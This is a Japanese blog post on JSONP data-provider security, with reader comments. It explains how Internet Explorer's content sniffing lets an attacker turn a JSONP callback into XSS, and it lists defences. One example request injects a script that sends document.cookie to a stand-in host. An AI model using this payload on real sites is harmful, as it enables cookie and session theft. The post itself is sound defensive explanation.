« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 »

2007年01月12日

JSONP - データ提供者側のセキュリティについて

 JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。

GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0
Host: example.com

HTTP/1.0 200 OK
Content-Type: text/javascript; charset=utf-8

<script>location='http://example.jp/'+document.cookie</script>({ ... })

 この例の URL を Internet Explorer で直接アクセスすると、クエリ文字列から注入されたスクリプトが実行され、example.com のクッキーが example.jp によって詐取されます。なぜそうなるのでしょう?

 Internet Explorer には、コンテンツの中身からその型を自動判定する仕組みがあります。この機能のおかげで、誤った Content-Type が設定されているデータでも、正しく(?)表示することができます。しかし、この機能を悪用すると、JSONP のデータを HTML として解釈させ、その中にスクリプトを埋め込む XSS が可能になってしまうのです。

 IE の自動判定においては、URL path の拡張子とコンテンツの中身が問題になります。仮に Content-Type: text/plain としていると、コンテンツの中身に HTML らしき要素が含まれていれば HTML として解釈されてしまいます。Content-Type: text/javascript としている場合であっても、ウェブアプリケーションで path_info の確認を怠っているようなケースでは、URL path の末尾に .html 等を書き足すことで、HTML として解釈されるようになります。

 JSONP でのデータ提供を行うにあたり、この問題に対処する方法はいくつかありますが、奥は以下の方法がもっとも簡便かつ汎用的ではないかと考えています。

1. padding に使用できる文字を制限する 注1
2. json コンテンツ内の < をエスケープする
3. レスポンスヘッダで charset を指定する

 なお、レスポンスヘッダで charset を宣言するのは、文字コードをチートすることでタグを混入させるような攻撃の可能性をなくすためです注2

注1: Yahoo! では [A-Za-z0-9_\.\[\]] に制限されています
注2: 参照: スラッシュドット ジャパン | UTF-7エンコードされたタグ文字列によるXSS脆弱性に注意

投稿者 kazuho : 2007年01月12日 15:05 このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

トラックバック

このエントリーのトラックバックURL:
http://labs.cybozu.co.jp/cgi-bin/mt-admin/mt-tbp.cgi/1037

このリストは、次のエントリーを参照しています: JSONP - データ提供者側のセキュリティについて :

» [SECURITY] 「拡張子ではなく、内容によってファイルを開くこと」の拡張子は Content-Type ではないことに注意 from 葉っぱ日記
少し前に JSONP が XSS を引き起こすかもしれないという点に関する興味深い記事を奥さんが書かれていました。 Kazuho@Cybozu Labs... [続きを読む]

トラックバック時刻: 2007年04月04日 13:33

コメント

JSONPのデータとして先頭に512バイト以上の空白を付加する、というのが最も簡単な対策のように思いますがどうでしょう?
参考: http://support.microsoft.com/kb/828625/ja

投稿者 はせがわ : 2007年03月30日 01:10

はせがわさん、ありがとうございます。

問題は拡張子の扱いと、コンテンツの中身による自動判定の2点ですが、空白の付加は後者への対策かと思います。

本エントリでは、前者の対策として path info の運用を制限するよりは、HTML として解釈されても問題ないようにするアプローチのほうが汎用的であろうという考えのもとに、対策法を列挙してみました。

逆に、path_info の使用形式を限定できる場合は、おっしゃる方法でも十分かと思います。

投稿者 kazuho : 2007年04月01日 22:57

なるほど。「HTML として解釈されても…汎用的」は非常に合理的で納得できる説明です。ありがとうございました。

投稿者 はせがわ : 2007年04月02日 23:46